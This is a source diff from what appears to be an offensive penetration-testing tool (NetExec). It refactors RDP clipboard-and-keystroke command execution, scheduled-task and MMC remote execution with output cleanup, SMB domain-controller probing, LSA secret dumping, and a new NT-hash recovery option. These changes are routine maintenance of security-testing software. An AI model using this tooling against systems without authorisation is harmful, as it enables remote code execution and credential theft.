||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=password,
|
||||
@@ -395,21 +378,7 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
@@ -437,6 +406,7 @@ class rdp(connection):
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.username = username
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
secret=ntlm_hash,
|
||||
@@ -444,21 +414,7 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
@@ -631,13 +587,9 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
await self._send_win_r()
|
||||
await self.conn.set_current_clipboard_text(command)
|
||||
# server must acknowledge our clipboard data before we trigger the read
|
||||
response = await self._wait_for_event(
|
||||
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
|
||||
)
|
||||
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
|
||||
if not response.accepted:
|
||||
raise RuntimeError(
|
||||
"Remote session rejected the clipboard command data"
|
||||
)
|
||||
raise RuntimeError("Remote session rejected the clipboard command data")
|
||||
# type a one-liner that reads and executes the clipboard we just set
|
||||
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
|
||||
await self._send_keystrokes(
|
||||
@@ -669,21 +621,9 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
async def execute_shell(self, payload, get_output, shell_type):
|
||||
marker = uuid4().hex if get_output else None
|
||||
command = self._build_execution_command(
|
||||
payload, shell_type, marker, get_output
|
||||
)
|
||||
command = self._build_execution_command(payload, shell_type, marker, get_output)
|
||||
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
|
||||
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to RDP: {e!s}")
|
||||
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
|
||||
self.logger.fail(f"Authentication failed: {e!s}")
|
||||
await self.terminate_conn()
|
||||
return None
|
||||
|
||||
try:
|
||||
if get_output:
|
||||
self.logger.success("Waiting for clipboard to be ready...")
|
||||
@@ -711,9 +651,7 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
try:
|
||||
await self._submit_run_command(command)
|
||||
except TimeoutError:
|
||||
self.logger.fail(
|
||||
"Remote session did not acknowledge the clipboard command data"
|
||||
)
|
||||
self.logger.fail("Remote session did not acknowledge the clipboard command data")
|
||||
return None
|
||||
else:
|
||||
await self._submit_typed_run_command(command)
|
||||
@@ -746,10 +684,6 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
self.logger.debug(f"Unexpected error: {e!s}")
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
finally:
|
||||
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
await self.terminate_conn()
|
||||
|
||||
def execute(self, payload=None, shell_type="cmd"):
|
||||
"""Execute a command via RDP"""
|
||||
@@ -758,10 +692,15 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
get_output = bool(not self.args.no_output)
|
||||
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("-x/-X need credentials")
|
||||
return None
|
||||
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
|
||||
return None
|
||||
self.logger.success(f"Executing command: {payload}")
|
||||
|
||||
try:
|
||||
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
|
||||
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
|
||||
|
||||
if result is not None:
|
||||
self.logger.debug("Command execution completed")
|
||||
@@ -773,52 +712,50 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
def ps_execute(self):
|
||||
self.execute(payload=self.args.ps_execute, shell_type="powershell")
|
||||
|
||||
async def save_screenshot(self, desktop, label):
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
desktop.save(filename, "png")
|
||||
self.logger.highlight(f"{label} saved {filename}")
|
||||
|
||||
async def screen(self):
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
if self.conn.desktop_buffer_has_data:
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
|
||||
else:
|
||||
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error taking screenshot: {e!s}")
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
self.logger.fail(f"Could not take the screenshot: {e!s}")
|
||||
|
||||
def screenshot(self):
|
||||
asyncio.run(self.screen())
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
|
||||
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
|
||||
self.runner.run(self.screen())
|
||||
|
||||
async def nla_screen(self):
|
||||
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
|
||||
|
||||
connected = False
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
await self.terminate_conn()
|
||||
continue
|
||||
|
||||
connected = True
|
||||
try:
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
|
||||
return
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
asyncio.run(self.nla_screen())
|
||||
self.runner.run(self.nla_screen())
|
||||
@@ -14,7 +14,7 @@ def proto_args(parser, parents):
|
||||
|
||||
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
|
||||
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
|
||||
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
|
||||
|
||||
cgroup = rdp_parser.add_argument_group("Command Execution")
|
||||
|
||||
+31
-34
@@ -131,7 +131,7 @@ class smb(connection):
|
||||
self.server_os_major = None
|
||||
self.server_os_minor = None
|
||||
self.server_os_build = None
|
||||
self.os_arch = 0
|
||||
self.os_arch = None
|
||||
self.hash = None
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
@@ -187,7 +187,7 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
|
||||
|
||||
return 0
|
||||
return None
|
||||
|
||||
def enum_host_info(self):
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
@@ -204,27 +204,33 @@ class smb(connection):
|
||||
self.no_ntlm = True
|
||||
self.logger.debug("NTLM not supported")
|
||||
|
||||
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
|
||||
self.is_host_dc(aggressive_check=aggressive_check)
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
# self.remoteName is the attribute which gets used in the SPN
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
self.remoteName = self.host
|
||||
if not self.no_ntlm:
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = self.conn.getServerDNSHostName()
|
||||
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
hostname = dns_hostname.split(".", 1)[0]
|
||||
elif dns_hostname:
|
||||
hostname = dns_hostname
|
||||
self.hostname = dns_hostname.split(".", 1)[0]
|
||||
else:
|
||||
hostname = self.conn.getServerName()
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.hostname = dns_hostname
|
||||
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
|
||||
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
|
||||
self.remoteName = dns_hostname if self.kerberos else self.host
|
||||
else:
|
||||
try:
|
||||
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
|
||||
if self.isdc and detect_if_ip(self.host):
|
||||
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
|
||||
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
|
||||
self.targetDomain = self.domain
|
||||
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
|
||||
else:
|
||||
@@ -232,19 +238,12 @@ class smb(connection):
|
||||
import socket
|
||||
socket.inet_aton(self.host)
|
||||
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except OSError:
|
||||
if self.host.count(".") >= 1:
|
||||
self.hostname = self.host.split(".")[0]
|
||||
self.targetDomain = ".".join(self.host.split(".")[1:])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error getting hostname from LDAP: {e}")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
@@ -259,7 +258,6 @@ class smb(connection):
|
||||
|
||||
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
|
||||
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
|
||||
# Also only on Windows we should get an OS arch as for that we would need MSRPC
|
||||
try:
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
@@ -272,9 +270,9 @@ class smb(connection):
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
|
||||
self.server_os = "Unix - Samba"
|
||||
elif self.server_os_build == 0 and self.os_arch == 0:
|
||||
elif self.server_os_build == 0:
|
||||
self.server_os = "Unix"
|
||||
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
|
||||
|
||||
@@ -285,8 +283,6 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
|
||||
if check_guest_account and not self.no_ntlm:
|
||||
try:
|
||||
@@ -314,9 +310,6 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
|
||||
|
||||
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
|
||||
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
|
||||
result = self.resolver(self.domain)
|
||||
@@ -427,6 +420,8 @@ class smb(connection):
|
||||
if self.args.generate_st:
|
||||
self.save_st(tgs, sk, spn if self.args.spn else None)
|
||||
|
||||
if not tgs and not useCache:
|
||||
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
|
||||
if self.args.generate_st:
|
||||
@@ -873,9 +868,7 @@ class smb(connection):
|
||||
if self.isdc is not None:
|
||||
return self.isdc
|
||||
|
||||
probes = [self._is_dc_via_smb]
|
||||
if aggressive_check:
|
||||
probes.append(self._is_dc_via_rpc)
|
||||
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
|
||||
if self.no_ntlm or aggressive_check:
|
||||
probes.append(self._is_dc_via_kerberos)
|
||||
|
||||
@@ -956,15 +949,17 @@ class smb(connection):
|
||||
def _is_dc_via_rpc(self):
|
||||
"""
|
||||
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
|
||||
and needs no session;
|
||||
and needs no session. get_os_arch() already talks to the endpoint mapper
|
||||
on every scan, so this adds no new port and runs only when that call
|
||||
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
|
||||
"""
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
|
||||
if not self._is_port_open(135):
|
||||
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
|
||||
if self.os_arch is None:
|
||||
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
|
||||
return None
|
||||
|
||||
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
|
||||
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
|
||||
try:
|
||||
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
self.logger.debug("Netlogon endpoint registered: host is a DC")
|
||||
@@ -1986,7 +1981,8 @@ class smb(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
*_, tgt, _ = self.conn.getCredentials()
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
|
||||
if not flag or not stringBinding:
|
||||
@@ -2373,7 +2369,8 @@ class smb(connection):
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
try:
|
||||
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
|
||||
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
|
||||
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
|
||||
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
@@ -2401,7 +2398,7 @@ class smb(connection):
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
if self.remote_ops and self.bootkey:
|
||||
if self.args.lsa == "regdump":
|
||||
if self.args.lsa != "secdump":
|
||||
LSA = RegSecretsLSASecrets(
|
||||
self.bootkey,
|
||||
self.remote_ops,
|
||||
|
||||
+19
-50
@@ -10,6 +10,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
@@ -162,62 +163,30 @@ class TSCH_EXEC:
|
||||
except tsch.DCERPCSessionError as e:
|
||||
self.logger.debug(f"hSchRpcRun returned: {e}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
|
||||
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
|
||||
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
|
||||
RUN_TIMEOUT = 30
|
||||
RUN_CHECK_DELAY = 2
|
||||
last_error = None
|
||||
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
try:
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
|
||||
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
|
||||
break # the task has run
|
||||
except tsch.DCERPCSessionError as e:
|
||||
if e.error_code == 0x00041303:
|
||||
sleep(2)
|
||||
continue
|
||||
self.logger.fail(f"Error retrieving task last run info: {e}")
|
||||
break
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
|
||||
sleep(RUN_CHECK_DELAY)
|
||||
else:
|
||||
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
|
||||
|
||||
self.logger.info(f"Deleting task \\{self.task_name}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
try:
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
|
||||
|
||||
if self.__retOutput:
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
|
||||
|
||||
dce.disconnect()
|
||||
@@ -0,0 +1,53 @@
|
||||
from time import monotonic, sleep
|
||||
|
||||
|
||||
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
|
||||
"""Read the output file of an executed command, then delete it.
|
||||
|
||||
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
|
||||
(these quick reads don't count against --get-output-tries), then every 1s.
|
||||
"""
|
||||
path = f"{share}\\" + filename.lstrip("\\")
|
||||
quick_until = monotonic() + 0.4
|
||||
sleep(first_read_delay)
|
||||
attempt = 1
|
||||
while True:
|
||||
try:
|
||||
logger.info(f"Attempting to read {path}")
|
||||
conn.getFile(share, filename, callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
|
||||
sleep(0.1)
|
||||
elif attempt >= tries:
|
||||
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
elif "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
elif "STATUS_SHARING_VIOLATION" in str(e):
|
||||
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
|
||||
attempt += 10
|
||||
sleep(1)
|
||||
else:
|
||||
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
|
||||
attempt += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
logger.debug(f"Deleting file {path}")
|
||||
conn.deleteFile(share, filename)
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
logger.debug(f"No output file {path} to delete")
|
||||
else:
|
||||
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
|
||||
@@ -30,6 +30,7 @@ from time import sleep
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.exec_output import get_output_file
|
||||
|
||||
from impacket.dcerpc.v5.dcom.oaut import (
|
||||
IID_IDispatch,
|
||||
@@ -250,41 +251,4 @@ class MMCEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
|
||||
@@ -11,6 +11,7 @@ def proto_args(parser, parents):
|
||||
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
|
||||
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
|
||||
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
from time import sleep
|
||||
